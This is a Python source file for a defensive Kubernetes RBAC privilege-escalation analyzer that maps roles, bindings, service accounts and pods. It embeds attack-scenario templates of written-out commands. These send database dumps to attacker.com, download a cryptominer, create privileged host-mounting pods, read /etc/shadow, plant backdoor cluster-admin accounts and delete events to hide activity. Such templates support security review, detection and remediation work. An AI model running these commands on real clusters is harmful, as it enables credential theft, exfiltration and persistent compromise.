#!/usr/bin/env python3

# Plugin Version: 2.3.0

# DO NOT REMOVE: This comment is used for version detection during plugin updates

"""

==============================================================================

RBAC Privilege Chain Analyzer

==============================================================================

PURPOSE:

Maps Kubernetes RBAC privilege chains to identify privilege escalation

paths and overly permissive configurations that no other tool detects.

ANALYSIS APPROACH:

1. Load all YAML manifests from repository (excluding test/example dirs)

2. Categorize: ClusterRoles, Roles, Bindings, ServiceAccounts, Pods

3. Build relationship graph: ClusterRole → RoleBinding → SA → Pod

4. Detect dangerous patterns:

- Dangerous verbs (escalate, impersonate, bind, wildcards)

- Dangerous resources (secrets, pods/exec, pods/attach, wildcards)

- Escalation combos (create/patch/update on roles/bindings)

- Wildcard permissions (*, resources/verbs)

- Pods with cluster-admin access

- RoleBinding → ClusterRole misuse (namespace privilege escalation)

5. Generate structured findings with severity levels

DETECTED SECURITY ISSUES:

- Privilege Escalation: Verbs that allow bypassing RBAC (escalate, bind)

- Lateral Movement: pods/exec, pods/attach (container escape vectors)

- Credential Theft: Cluster-wide secret access

- Role Self-Modification: create/patch/update on roles/bindings

- Over-Permissions: Wildcard resources/verbs, cluster-admin bindings

SEVERITY LEVELS:

- CRITICAL: Pods with cluster-admin, dangerous verb combinations

- HIGH: Overly broad permissions, dangerous resources

- WARNING: Suboptimal patterns (default SA, RoleBinding→ClusterRole)

- INFO: Informational (aggregated ClusterRoles)

EXIT CODES:

- 0: No findings at or above configured threshold

- 1: Findings at or above threshold (requires review)

- Configurable via --fail-on flag (default: CRITICAL for PoC)

USAGE:

# Default PoC mode (fail only on CRITICAL)

python .github/scripts/rbac-analyzer.py .

# Production mode (fail on HIGH or CRITICAL)

python .github/scripts/rbac-analyzer.py . --fail-on HIGH

# Strict mode (fail on WARNING or above)

python .github/scripts/rbac-analyzer.py . --fail-on WARNING

EXCLUSIONS:

Automatically excludes: .git, vendor, node_modules, test, tests, examples,

docs, bin, .github/workflows to prevent false positives from test fixtures.

WHY CUSTOM TOOL?:

No existing tool maps full Pod→ServiceAccount→Role privilege chains.

Semgrep catches individual RBAC issues; this finds RELATIONSHIPS.

Combines static analysis with graph traversal for complete coverage.

INTEGRATION:

- GitHub Actions: Runs weekly in security-full-scan.yml workflow

- Output: Console report + artifact upload (30-day retention)

- SARIF: Future enhancement for GitHub Security tab integration

VALIDATION:

- Validated with 20 test cases covering all severity levels

- Production accuracy: 0 false positives on 27 production RBAC files

- Detection rate: 24 findings on intentionally vulnerable test manifests

==============================================================================

"""

import argparse

import yaml

import sys

import re

from pathlib import Path

from typing import Dict, List, Set, Optional

from collections import defaultdict

# ==============================================================================

# ATTACK SCENARIO TEMPLATES

# ==============================================================================

# These detailed exploitation chains are ONLY included in private security

# advisories for authorized security personnel. Public reports show impact only.

#

# Format: {finding_pattern: {scenario_name: scenario_details}}

# ==============================================================================

ATTACK_SCENARIOS = {

'wildcard_resources': {

'scenario': 'Cluster-Wide Resource Enumeration and Exfiltration',

'severity': 'CRITICAL',

'attack_chain': [

{

'step': 1,

'action': 'Compromise ServiceAccount with wildcard resource access',

'command': 'kubectl get secrets --all-namespaces -o json',

'impact': 'Attacker can list ALL resources across ALL namespaces',

'cve_reference': 'CVE-2018-1002105 (privilege escalation via API aggregation)'

},

{

'step': 2,

'action': 'Exfiltrate sensitive data from discovered resources',

'command': 'kubectl get secrets -n kube-system -o yaml | grep "data:" -A 50',

'impact': 'Extract base64-encoded secrets, tokens, certificates',

'real_world': 'Tesla 2018 breach: Attacker accessed Kubernetes secrets without authentication'

},

{

'step': 3,

'action': 'Lateral movement using stolen credentials',

'command': 'kubectl --token=$STOLEN_TOKEN get pods --all-namespaces',

'impact': 'Pivot to other workloads using compromised service account tokens',

'persistence': 'Create new ServiceAccounts with elevated privileges for backdoor access'

}

],

'prerequisites': [

'Initial access to a pod using the overprivileged ServiceAccount',

'kubectl binary available in container (common in operator pods)',

'Network connectivity to Kubernetes API server'

],

'detection': [

'Audit logs: Unusual --all-namespaces queries from service accounts',

'Rate limiting: Excessive API calls to list resources',

'Anomaly detection: ServiceAccount accessing resources outside its namespace'

],

'remediation': [

'Replace wildcard (*) with explicit resource names',

'Scope permissions to specific namespaces using RoleBindings',

'Implement least privilege: grant only required resources'

]

},

'wildcard_verbs': {

'scenario': 'Unrestricted API Access Exploitation',

'severity': 'CRITICAL',

'attack_chain': [

{

'step': 1,

'action': 'Discover wildcard verb permissions',

'command': 'kubectl auth can-i --list --as=system:serviceaccount:default:victim-sa',

'impact': 'Identify full scope of allowed operations (create, delete, patch, etc.)',

'tool': 'rbac-lookup or kubectl-who-can for privilege enumeration'

},

{

'step': 2,

'action': 'Create malicious resources (pods, deployments, jobs)',

'command': '''kubectl run evil-pod --image=attacker/backdoor --restart=Never --overrides='

{

"spec": {

"hostNetwork": true,

"hostPID": true,

"containers": [{

"name": "evil",

"image": "attacker/backdoor",

"securityContext": {

"privileged": true

},

"volumeMounts": [{

"name": "host",

"mountPath": "/host"

}]

}],

"volumes": [{

"name": "host",

"hostPath": {

"path": "/"

}

}]

}

}'

''',

'impact': 'Deploy privileged container with host filesystem access',

'escalation': 'Break out of container to compromise node'

},

{

'step': 3,

'action': 'Delete evidence and create persistence',

'command': 'kubectl delete events --all; kubectl create -f backdoor-cronjob.yaml',

'impact': 'Cover tracks by deleting audit events, establish persistence via CronJob',

'real_world': 'TeamTNT cryptojacking campaigns: Deploy miners, delete logs'

}

],

'prerequisites': [

'ServiceAccount with wildcard verbs (*) on any resource',

'Ability to exec into pod or access via compromised application'

],

'detection': [

'Monitor for resource creation from unexpected ServiceAccounts',

'Alert on privileged pod creation outside CI/CD pipelines',

'Track event deletion (indicates evasion)'

],

'remediation': [

'Replace wildcard verbs with specific operations (get, list, watch)',

'Separate read-only and write permissions into different roles',

'Use admission controllers (OPA Gatekeeper) to block privileged pods'

]

},

'dangerous_verb_escalate': {

'scenario': 'RBAC Self-Escalation to Cluster-Admin',

'severity': 'CRITICAL',

'attack_chain': [

{

'step': 1,

'action': 'Verify escalate permission on ClusterRoles',

'command': 'kubectl auth can-i escalate clusterrole --as=system:serviceaccount:default:victim-sa',

'impact': 'Confirm ability to bypass RBAC restrictions via escalate verb',

'cve_reference': 'CVE-2019-11247 (cluster-scoped resources in namespaced context)'

},

{

'step': 2,

'action': 'Create malicious ClusterRoleBinding granting cluster-admin',

'command': '''kubectl create clusterrolebinding pwned-admin \\

--clusterrole=cluster-admin \\

--serviceaccount=default:victim-sa

''',

'impact': 'Elevate to cluster-admin without restrictions',

'bypass': 'The escalate verb allows granting permissions higher than current level'

},

{

'step': 3,

'action': 'Full cluster compromise',

'command': 'kubectl get secrets --all-namespaces; kubectl delete all --all --all-namespaces',

'impact': 'Complete cluster control: exfiltrate all secrets, destroy workloads',

'persistence': 'Create hidden admin ServiceAccounts in kube-system namespace'

}

],

'prerequisites': [

'escalate verb on clusterroles or roles',

'create verb on clusterrolebindings or rolebindings'

],

'detection': [

'Alert on ClusterRoleBinding creation by non-admin ServiceAccounts',

'Monitor for unusual escalate verb usage in audit logs',

'Track ServiceAccount permission changes'

],

'remediation': [

'NEVER grant escalate verb unless absolutely required',

'Use ValidatingAdmissionWebhook to block unauthorized ClusterRoleBindings',

'Restrict ClusterRoleBinding creation to cluster-admin only'

]

},

'dangerous_verb_impersonate': {

'scenario': 'Identity Spoofing and Privilege Hijacking',

'severity': 'CRITICAL',

'attack_chain': [

{

'step': 1,

'action': 'Enumerate high-privilege users and ServiceAccounts',

'command': 'kubectl get clusterrolebindings -o json | jq ".items[] | select(.roleRef.name==\\"cluster-admin\\")"',

'impact': 'Identify cluster-admin users to impersonate',

'target': 'system:masters group, cluster-admin ServiceAccounts'

},

{

'step': 2,

'action': 'Impersonate cluster-admin user',

'command': 'kubectl --as=system:admin get secrets --all-namespaces',

'impact': 'Bypass RBAC by impersonating privileged identity',

'bypass': 'Impersonate verb allows full identity spoofing without authentication'

},

{

'step': 3,

'action': 'Create backdoor ServiceAccount with cluster-admin',

'command': '''kubectl --as=system:admin create sa backdoor -n kube-system

kubectl --as=system:admin create clusterrolebinding backdoor-admin --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor

kubectl --as=system:admin create token backdoor -n kube-system --duration=87600h # 10 years

''',

'impact': 'Establish long-term persistent access with extracted token',

'evasion': 'Use kube-system namespace to hide in legitimate system workloads'

}

],

'prerequisites': [

'impersonate verb on users, groups, or serviceaccounts',

'Knowledge of privileged identities to impersonate'

],

'detection': [

'Alert on API requests with --as or impersonation headers',

'Monitor for ServiceAccount creation in kube-system namespace',

'Track token creation with unusually long durations'

],

'remediation': [

'NEVER grant impersonate verb to ServiceAccounts',

'Restrict impersonation to debugging tools only (kubectl-impersonate plugin)',

'Use audit logs to detect impersonation abuse'

]

},

'dangerous_resource_secrets': {

'scenario': 'Cluster-Wide Secret Exfiltration',

'severity': 'HIGH',

'attack_chain': [

{

'step': 1,

'action': 'List all secrets across all namespaces',

'command': 'kubectl get secrets --all-namespaces -o json > /tmp/secrets.json',

'impact': 'Enumerate all secrets in cluster (API keys, passwords, certificates)',

'scale': 'Hundreds or thousands of secrets depending on cluster size'

},

{

'step': 2,

'action': 'Decode and exfiltrate sensitive data',

'command': '''for secret in $(kubectl get secrets --all-namespaces -o json | jq -r '.items[].metadata.name'); do

kubectl get secret $secret -o json | jq -r '.data | to_entries[] | "\\(.key): \\(.value)"' | while read line; do

echo "$line" | awk -F': ' '{print $1": "} {print $2 | "base64 -d"}'

done

done > /tmp/plaintext_secrets.txt

''',

'impact': 'Decrypt all base64-encoded secrets, extract plaintext credentials',

'targets': 'Database passwords, cloud provider keys (AWS_ACCESS_KEY), TLS certificates'

},

{

'step': 3,

'action': 'Lateral movement to external systems',

'command': 'export AWS_ACCESS_KEY_ID=$STOLEN_KEY; aws s3 sync s3://company-data /tmp/exfil/',

'impact': 'Use stolen credentials to access external systems (AWS, GCP, databases)',

'real_world': 'Capital One breach (2019): SSRF → AWS creds → 100M records stolen'

}

],

'prerequisites': [

'get/list verbs on secrets resource',

'Cluster-wide scope (ClusterRole) or access to multiple namespaces'

],

'detection': [

'Alert on bulk secret reads (>10 secrets in short time window)',

'Monitor for secrets accessed by ServiceAccounts outside their namespace',

'Track base64 decode operations in container processes'

],

'remediation': [

'Limit secrets access to specific namespaces using RoleBindings',

'Use external secret managers (Vault, AWS Secrets Manager)',

'Implement encryption at rest for etcd (Kubernetes secret backend)'

]

},

'dangerous_resource_pods_exec': {

'scenario': 'Container Hijacking and Data Exfiltration',

'severity': 'HIGH',

'attack_chain': [

{

'step': 1,

'action': 'Enumerate running pods with sensitive data',

'command': 'kubectl get pods --all-namespaces -o wide',

'impact': 'Identify targets: database pods, application servers, CI/CD runners',

'targeting': 'Focus on pods with mounted secrets or external network access'

},

{

'step': 2,

'action': 'Execute commands in target container',

'command': '''kubectl exec -it database-pod -n production -- bash -c "

mysqldump -u root -p$MYSQL_PASSWORD --all-databases > /tmp/db_dump.sql

cat /tmp/db_dump.sql | base64 | curl -X POST https://attacker.com/exfil -d @-

"

''',

'impact': 'Dump databases, exfiltrate via HTTP POST to attacker-controlled server',

'evasion': 'Use base64 encoding to bypass DLP/firewall detection'

},

{

'step': 3,

'action': 'Deploy cryptominer or backdoor',

'command': '''kubectl exec -it victim-pod -- bash -c "

curl -s https://attacker.com/miner -o /tmp/xmrig

chmod +x /tmp/xmrig

nohup /tmp/xmrig -o pool.monero.com:3333 &

"

''',

'impact': 'Install cryptominer for resource abuse, establish persistence',

'real_world': 'Graboid (2019): First Kubernetes cryptomining worm using pods/exec'

}

],

'prerequisites': [

'create verb on pods/exec subresource',

'Network access to target pods'

],

'detection': [

'Alert on kubectl exec from unexpected ServiceAccounts',

'Monitor for unusual process execution in containers (xmrig, wget, curl)',

'Track outbound network connections to non-whitelisted domains'

],

'remediation': [

'Remove pods/exec access unless required for debugging',

'Use ephemeral debug containers (alpha feature) instead of exec',

'Implement PodSecurityPolicy to block privileged operations'

]

},

'escalation_create_pods': {

'scenario': 'Privileged Pod Creation for Node Compromise',

'severity': 'HIGH',

'attack_chain': [

{

'step': 1,

'action': 'Create privileged pod with host access',

'command': '''kubectl apply -f - <<EOF

apiVersion: v1

kind: Pod

metadata:

name: node-pwner

spec:

hostNetwork: true

hostPID: true

hostIPC: true

containers:

- name: pwn

image: alpine

securityContext:

privileged: true

volumeMounts:

- name: host-root

mountPath: /host

volumes:

- name: host-root

hostPath:

path: /

nodeSelector:

kubernetes.io/hostname: master-node-1

EOF

''',

'impact': 'Deploy container with full host privileges, mounted host filesystem',

'target': 'Schedule on master node for maximum impact'

},

{

'step': 2,

'action': 'Container escape to node',

'command': '''kubectl exec -it node-pwner -- sh -c "

chroot /host

cat /etc/shadow > /tmp/shadow_hashes

crontab -l; echo '*/5 * * * * /tmp/backdoor.sh' | crontab -

"

''',

'impact': 'Break out of container, access host filesystem, install persistence',

'escalation': 'From container compromise → node root access'

},

{

'step': 3,

'action': 'Pivot to other nodes',

'command': '''# From compromised node

kubectl get nodes -o json | jq -r '.items[].status.addresses[] | select(.type=="InternalIP") | .address' | while read node_ip; do

ssh root@$node_ip "curl https://attacker.com/payload | sh"

done

''',

'impact': 'Lateral movement to all cluster nodes using kubelet credentials',

'objective': 'Full cluster infrastructure compromise'

}

],

'prerequisites': [

'create verb on pods resource',

'No PodSecurityPolicy or admission controller blocking privileged pods'

],

'detection': [

'Alert on privileged pod creation (securityContext.privileged: true)',

'Monitor for hostNetwork, hostPID, hostIPC usage',

'Track hostPath volume mounts to sensitive directories (/, /etc, /var)'

],

'remediation': [

'Implement PodSecurityPolicy to deny privileged pods',

'Use admission webhooks (OPA Gatekeeper) with rules blocking host access',

'Require manual approval for pods needing elevated privileges'

]

},

'escalation_create_rolebindings': {

'scenario': 'RBAC Self-Service Privilege Escalation',

'severity': 'CRITICAL',

'attack_chain': [

{

'step': 1,

'action': 'Create RoleBinding granting cluster-admin',

'command': '''kubectl create clusterrolebinding self-pwn \\

--clusterrole=cluster-admin \\

--serviceaccount=$(kubectl config view --minify -o jsonpath='{.contexts[0].context.namespace}'):$(kubectl config view --minify -o jsonpath='{.contexts[0].context.user}')

''',

'impact': 'Grant self cluster-admin without needing escalate verb',

'bypass': 'Kubernetes does not validate if RoleBinding grants higher privileges than creator'

},

{

'step': 2,

'action': 'Verify escalation succeeded',

'command': 'kubectl auth can-i "*" "*" --all-namespaces',

'impact': 'Confirm cluster-admin access (should return "yes")',

'validation': 'Test with: kubectl get secrets -n kube-system'

},

{

'step': 3,

'action': 'Create backdoor ClusterRoleBindings for persistence',

'command': '''for i in {1..5}; do

kubectl create sa backdoor-$i -n kube-system

kubectl create clusterrolebinding backdoor-$i --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor-$i

done

''',

'impact': 'Create multiple hidden admin accounts for redundant access',

'evasion': 'Spread across kube-system namespace to blend with legitimate system components'

}

],

'prerequisites': [

'create/patch/update verbs on clusterrolebindings or rolebindings',

'Knowledge of existing high-privilege ClusterRoles (cluster-admin, admin)'

],

'detection': [

'Alert on ClusterRoleBinding creation by non-admin ServiceAccounts',

'Monitor for sudden permission grants to ServiceAccounts',

'Track audit logs for rolebindings referencing cluster-admin'

],

'remediation': [

'Never grant create/patch/update on rolebindings/clusterrolebindings to ServiceAccounts',

'Use ValidatingAdmissionWebhook to enforce RBAC modification policies',

'Implement four-eyes principle: require human approval for RBAC changes'

]

}

}

class RBACAnalyzer:

def __init__(self):

self.cluster_roles = {}

self.roles = {}

self.cluster_role_bindings = []

self.role_bindings = []

self.service_accounts = {}

self.pods = {}

self.findings = []

def _preprocess_template(self, content: str) -> str:

"""Replace Go template syntax with placeholder values to enable YAML parsing."""

# Replace templates with unquoted placeholder to preserve type flexibility

# YAML parser will infer type based on context (string, int, bool, etc.)

content = re.sub(r'\{\{[^}]+\}\}', 'placeholder-value', content)

return content

def load_yaml_files(self, base_path: str):

"""Load all YAML manifests from the repository."""

# Scan both .yaml and .yml extensions

yaml_files = list(Path(base_path).rglob("*.yaml")) + list(Path(base_path).rglob("*.yml"))

for yaml_file in yaml_files:

# Use path parts to avoid false matches (e.g., 'bin' in 'rolebinding')

path_parts = yaml_file.parts

if any(x in path_parts for x in ['.git', 'vendor', 'node_modules',

'test', 'tests', 'testdata', 'examples',

'docs', 'bin', '.github']):

continue

# Initialize before try block to avoid NameError in exception handler

is_template = False

try:

with open(yaml_file) as f:

content = f.read()

# Detect templates by filename or content

is_template = (

'.tmpl.yaml' in str(yaml_file) or

'.template.yaml' in str(yaml_file) or

'{{' in content # Contains Go template syntax

)

# Preprocess template files to replace Go template syntax

if is_template:

content = self._preprocess_template(content)

docs = yaml.safe_load_all(content)

for doc in docs:

if not doc or 'kind' not in doc:

continue

self._categorize_resource(doc, str(yaml_file))

except Exception as e:

# Suppress warnings for template files (expected parsing issues)

if not is_template:

print(f"Warning: Failed to parse {yaml_file}: {e}", file=sys.stderr)

def _categorize_resource(self, doc: dict, file_path: str):

"""Categorize Kubernetes resource by kind."""

kind = doc.get('kind')

metadata = doc.get('metadata', {})

name = metadata.get('name', 'unknown')

if kind == 'ClusterRole':

self.cluster_roles[name] = {'rules': doc.get('rules', []), 'file': file_path, 'doc': doc}

elif kind == 'Role':

namespace = metadata.get('namespace', 'default')

self.roles[f"{namespace}/{name}"] = {'rules': doc.get('rules', []), 'file': file_path}

elif kind == 'ClusterRoleBinding':

self.cluster_role_bindings.append({'doc': doc, 'file': file_path})

elif kind == 'RoleBinding':

self.role_bindings.append({'doc': doc, 'file': file_path})

elif kind == 'ServiceAccount':

namespace = metadata.get('namespace', 'default')

self.service_accounts[f"{namespace}/{name}"] = {'file': file_path, 'doc': doc}

elif kind == 'Pod':

namespace = metadata.get('namespace', 'default')

sa_name = doc.get('spec', {}).get('serviceAccountName', 'default')

self.pods[f"{namespace}/{name}"] = {

'serviceAccount': sa_name,

'file': file_path,

'automountToken': doc.get('spec', {}).get('automountServiceAccountToken', True)

}

def get_clusterrole_binding_scope(self, role_name: str) -> dict:

"""Determine if ClusterRole is bound cluster-wide or namespace-scoped.

Args:

role_name: Name of the ClusterRole to analyze

Returns:

Dictionary with binding scope information:

- cluster_wide: bool, True if bound via ClusterRoleBinding

- namespace_scoped: bool, True if bound via RoleBinding

- unbound: bool, True if no bindings found

- cluster_bindings: list of ClusterRoleBinding names

- role_bindings: list of RoleBinding names

- subject_types: dict with counts of ServiceAccounts and Groups

"""

# Check for ClusterRoleBindings (cluster-wide scope)

cluster_bindings = []

for binding in self.cluster_role_bindings:

role_ref = binding['doc'].get('roleRef', {})

if role_ref.get('name') == role_name:

cluster_bindings.append(binding['doc'].get('metadata', {}).get('name', 'unknown'))

# Check for RoleBindings (namespace-scoped)

role_bindings_list = []

for binding in self.role_bindings:

role_ref = binding['doc'].get('roleRef', {})

if role_ref.get('name') == role_name and role_ref.get('kind') == 'ClusterRole':

role_bindings_list.append(binding['doc'].get('metadata', {}).get('name', 'unknown'))

# Analyze subject types across all bindings

# Only count bindings that reference THIS ClusterRole (not Roles with same name)

subject_types = {'ServiceAccount': 0, 'Group': 0, 'User': 0}

for binding in self.cluster_role_bindings + self.role_bindings:

role_ref = binding['doc'].get('roleRef', {})

if role_ref.get('name') == role_name and role_ref.get('kind') == 'ClusterRole':

subjects = binding['doc'].get('subjects', [])

for subject in subjects:

kind = subject.get('kind', '')

if kind in subject_types:

subject_types[kind] += 1

return {

'cluster_wide': len(cluster_bindings) > 0,

'namespace_scoped': len(role_bindings_list) > 0,

'unbound': len(cluster_bindings) == 0 and len(role_bindings_list) == 0,

'cluster_bindings': cluster_bindings,

'role_bindings': role_bindings_list,

'subject_types': subject_types

}

def analyze_privilege_chains(self):

"""Build ClusterRole → Binding → SA → Pod chains."""

print("\n### RBAC Privilege Chain Analysis\n")

# Track which ServiceAccounts have which permissions

sa_permissions = defaultdict(list)

# Analyze ClusterRoleBindings

for binding in self.cluster_role_bindings:

doc = binding['doc']

role_ref = doc.get('roleRef', {})

role_name = role_ref.get('name')

subjects = doc.get('subjects', [])

for subject in subjects:

if subject.get('kind') == 'ServiceAccount':

sa_namespace = subject.get('namespace', 'default')

sa_name = subject.get('name')

sa_key = f"{sa_namespace}/{sa_name}"

sa_permissions[sa_key].append({

'type': 'ClusterRole',

'role': role_name,

'binding': doc['metadata']['name'],

'file': binding['file']

})

# Analyze RoleBindings

for binding in self.role_bindings:

doc = binding['doc']

role_ref = doc.get('roleRef', {})

role_kind = role_ref.get('kind') # Could be ClusterRole!

role_name = role_ref.get('name')

subjects = doc.get('subjects', [])

for subject in subjects:

if subject.get('kind') == 'ServiceAccount':

sa_namespace = subject.get('namespace', doc['metadata'].get('namespace', 'default'))

sa_name = subject.get('name')

sa_key = f"{sa_namespace}/{sa_name}"

sa_permissions[sa_key].append({

'type': role_kind, # Role or ClusterRole

'role': role_name,

'binding': doc['metadata']['name'],

'file': binding['file']

})

# Map ServiceAccounts to Pods

print("#### Service Account → Pod Mapping\n")

# Track already-reported bindings to avoid duplicate findings

reported_bindings = set()

chains_found = False

for pod_key, pod_info in self.pods.items():

namespace = pod_key.split('/')[0]

sa_name = pod_info['serviceAccount']

sa_key = f"{namespace}/{sa_name}"

if sa_key in sa_permissions:

chains_found = True

print(f"**Pod**: `{pod_key}`")

print(f" - **ServiceAccount**: `{sa_key}`")

print(f" - **Permissions**:")

for perm in sa_permissions[sa_key]:

role_type = perm['type']

role_name = perm['role']

print(f" - {role_type}: `{role_name}` (via {perm['binding']})")

# Check if this is a high-privilege role

if role_name == 'cluster-admin':

self._add_finding(

severity='CRITICAL',

title=f"Pod {pod_key} has cluster-admin access",

description=f"Pod uses ServiceAccount {sa_key} bound to cluster-admin",

file=pod_info['file'],

remediation="Create a custom Role with minimal required permissions"

)

# Check if RoleBinding references ClusterRole (deduplicated)

if role_type == 'ClusterRole' and perm['binding'] not in reported_bindings:

if any(b['doc']['metadata']['name'] == perm['binding']

for b in self.role_bindings):

reported_bindings.add(perm['binding'])

self._add_finding(

severity='WARNING',

title=f"RoleBinding {perm['binding']} grants cluster-wide permissions",

description=f"RoleBinding references ClusterRole {role_name}, granting cluster-scoped permissions in namespace scope",

file=perm['file'],

remediation="Use a namespace-scoped Role instead of ClusterRole"

)

print()

if not chains_found:

print("✅ No Pods found with RBAC bindings (or no Pods defined in manifests)\n")

def analyze_dangerous_permissions(self):

"""Identify high-risk permissions in ClusterRoles."""

print("\n### Dangerous Permission Analysis\n")

dangerous_verbs = {'escalate', 'impersonate', 'bind', '*'}

dangerous_resources = {

'*', 'secrets', 'persistentvolumes', 'nodes',

'clusterroles', 'clusterrolebindings',

'pods/exec', 'pods/attach'

}

# Verb + resource combinations that enable privilege escalation

escalation_combos = [

({'create', 'patch', 'update'}, {'roles', 'clusterroles', 'rolebindings', 'clusterrolebindings'}),

({'create'}, {'pods'}), # Can create privileged pods

]

findings_found = False

for role_name, role_data in self.cluster_roles.items():

rules = role_data['rules']

findings_for_role = []

# Collect findings across all rules (deduplicated at role level)

all_dangerous_resources = set()

all_dangerous_verbs = set()

has_wildcard_resources = False

has_wildcard_verbs = False

escalation_issues = []

for rule in rules:

resources = rule.get('resources', [])

verbs = rule.get('verbs', [])

# Normalize for case-insensitive matching (defense-in-depth)

# Kubernetes will reject miscased values, but this catches typos early

resources = [r.lower() for r in resources]

verbs = [v.lower() for v in verbs]

# Check for wildcards

if '*' in resources:

has_wildcard_resources = True

if '*' in verbs:

has_wildcard_verbs = True

# Collect dangerous verbs

dangerous = set(verbs) & dangerous_verbs

all_dangerous_verbs.update(dangerous)

# Collect dangerous resources

dangerous_res = set(resources) & dangerous_resources

all_dangerous_resources.update(dangerous_res)

# Check escalation combinations

for escalation_verbs, escalation_resources in escalation_combos:

if (set(verbs) & escalation_verbs) and (set(resources) & escalation_resources):

escalation_issue = f"Escalation risk: {'/'.join(sorted(escalation_verbs))} on {'/'.join(sorted(escalation_resources))}"

if escalation_issue not in escalation_issues:

escalation_issues.append(escalation_issue)

# Build consolidated findings list

if has_wildcard_resources:

findings_for_role.append("Wildcard resources (*)")

if has_wildcard_verbs:

findings_for_role.append("Wildcard verbs (*)")

if all_dangerous_verbs:

findings_for_role.append(f"Dangerous verbs: {', '.join(sorted(all_dangerous_verbs))}")

if all_dangerous_resources:

findings_for_role.append(f"Dangerous resources: {', '.join(sorted(all_dangerous_resources))}")

findings_for_role.extend(escalation_issues)

if findings_for_role:

findings_found = True

# Get binding scope to determine severity

binding_scope = self.get_clusterrole_binding_scope(role_name)

print(f"**ClusterRole**: `{role_name}` ({role_data['file']})")

for finding in findings_for_role:

print(f" - ⚠️ {finding}")

# Show binding scope information

if binding_scope['cluster_wide']:

print(f" - 🔴 Bound cluster-wide via ClusterRoleBinding")

if binding_scope['namespace_scoped']:

print(f" - 🟡 Bound per-namespace via RoleBinding")

if binding_scope['unbound']:

print(f" - ⚪ Not actively bound (dormant template)")

# Show subject types if bound

if not binding_scope['unbound']:

subject_info = []

if binding_scope['subject_types']['ServiceAccount'] > 0:

subject_info.append(f"ServiceAccount ({binding_scope['subject_types']['ServiceAccount']})")

if binding_scope['subject_types']['Group'] > 0:

subject_info.append(f"Group ({binding_scope['subject_types']['Group']})")

if binding_scope['subject_types']['User'] > 0:

subject_info.append(f"User ({binding_scope['subject_types']['User']})")

if subject_info:

print(f" - 👤 Subject types: {', '.join(subject_info)}")

print()

# Detect applicable attack scenarios based on findings

attack_scenarios = []

if has_wildcard_resources:

attack_scenarios.append('wildcard_resources')

if has_wildcard_verbs:

attack_scenarios.append('wildcard_verbs')

# Check for dangerous verbs

if 'escalate' in all_dangerous_verbs:

attack_scenarios.append('dangerous_verb_escalate')

if 'impersonate' in all_dangerous_verbs:

attack_scenarios.append('dangerous_verb_impersonate')

# Check for dangerous resources

if 'secrets' in all_dangerous_resources:

attack_scenarios.append('dangerous_resource_secrets')

if 'pods/exec' in all_dangerous_resources or 'pods/attach' in all_dangerous_resources:

attack_scenarios.append('dangerous_resource_pods_exec')

# Check for escalation combos

for escalation_issue in escalation_issues:

# Parse escalation issue to handle slash-separated verbs/resources

# Example: "Escalation risk: create/delete on pods/exec"

issue_lower = escalation_issue.lower().replace('escalation risk: ', '')

if ' on ' in issue_lower:

verb_part, resource_part = issue_lower.split(' on ', 1)

verbs = verb_part.split('/')

resources = resource_part.split('/')

# Check for pod creation escalation

if 'create' in verbs and 'pods' in resources:

attack_scenarios.append('escalation_create_pods')

# Check for role/rolebinding modification escalation

if any(rb in resources for rb in ['rolebindings', 'clusterrolebindings']):

attack_scenarios.append('escalation_create_rolebindings')

# Determine severity based on binding scope and permissions

# CRITICAL: Cluster-wide wildcards or extremely dangerous verbs

# HIGH: Cluster-wide dangerous permissions

# WARNING: Namespace-scoped dangerous permissions (may be legitimate for operators)

# INFO: Unbound ClusterRole (dormant template)

if binding_scope['unbound']:

severity = 'INFO'

remediation = "Remove unused ClusterRole or bind appropriately with least privilege"

elif binding_scope['cluster_wide']:

# Cluster-wide is always HIGH unless it has wildcards (CRITICAL)

if has_wildcard_resources or has_wildcard_verbs:

severity = 'CRITICAL'

remediation = "Remove wildcard permissions and scope to namespace via RoleBinding"

else:

severity = 'HIGH'

remediation = "Scope to namespace via RoleBinding or reduce permissions to minimum required"

else: # namespace_scoped only

# Namespace-scoped with wildcards is still HIGH

if has_wildcard_resources or has_wildcard_verbs:

severity = 'HIGH'

remediation = "Remove wildcard permissions; specify exact resources and verbs needed"

# Namespace-scoped dangerous permissions are WARNING (may be legitimate)

# Groups typically indicate administrative access in managed environments

elif binding_scope['subject_types']['Group'] > 0 and binding_scope['subject_types']['ServiceAccount'] == 0:

severity = 'WARNING'

remediation = "Verify these permissions are required for administrative access; document justification"

else:

severity = 'WARNING'

remediation = "Verify these permissions are required; document justification if multi-tenant design"

# Build enhanced description with binding context

description_parts = ["; ".join(findings_for_role)]

if binding_scope['cluster_wide']:

description_parts.append("Bound cluster-wide via ClusterRoleBinding")

elif binding_scope['namespace_scoped']:

description_parts.append("Bound per-namespace via RoleBinding")

# Add subject type information for context

if binding_scope['subject_types']['Group'] > 0:

description_parts.append("Assigned to Group principals")

elif binding_scope['subject_types']['ServiceAccount'] > 0:

description_parts.append("Assigned to ServiceAccount principals")

else:

description_parts.append("Not actively bound (dormant template)")

self._add_finding(

severity=severity,

title=f"ClusterRole {role_name} has dangerous permissions",

description="; ".join(description_parts),

file=role_data['file'],

remediation=remediation,

attack_scenarios=attack_scenarios

)

if not findings_found:

print("✅ No dangerous permissions detected (wildcards, escalate, impersonate, bind, etc.)\n")

def check_aggregated_roles(self):

"""Check for aggregated ClusterRoles."""

print("\n### Aggregated ClusterRole Analysis\n")

aggregated_found = False

for role_name, role_data in self.cluster_roles.items():

doc = role_data['doc']

if 'aggregationRule' in doc:

aggregated_found = True

selectors = doc['aggregationRule'].get('clusterRoleSelectors', [])

print(f"**ClusterRole**: `{role_name}`")

print(f" - Aggregates roles matching: `{selectors}`")

print(f" - File: {role_data['file']}\n")

self._add_finding(

severity='INFO',

title=f"Aggregated ClusterRole detected: {role_name}",

description=f"Aggregates permissions from roles matching {selectors}",

file=role_data['file'],

remediation="Review aggregation selectors to ensure no unintended permissions are granted"

)

if not aggregated_found:

print("✅ No aggregated ClusterRoles detected\n")

def _add_finding(self, severity: str, title: str, description: str, file: str, remediation: str, attack_scenarios: Optional[List[str]] = None):

"""Add a security finding with optional attack scenario references.

Args:

severity: Finding severity level

title: Finding title

description: Finding description

file: File path where issue was found

remediation: Remediation guidance

attack_scenarios: List of attack scenario keys from ATTACK_SCENARIOS dict

"""

self.findings.append({

'severity': severity,

'title': title,

'description': description,

'file': file,

'remediation': remediation,

'attack_scenarios': attack_scenarios or []

})

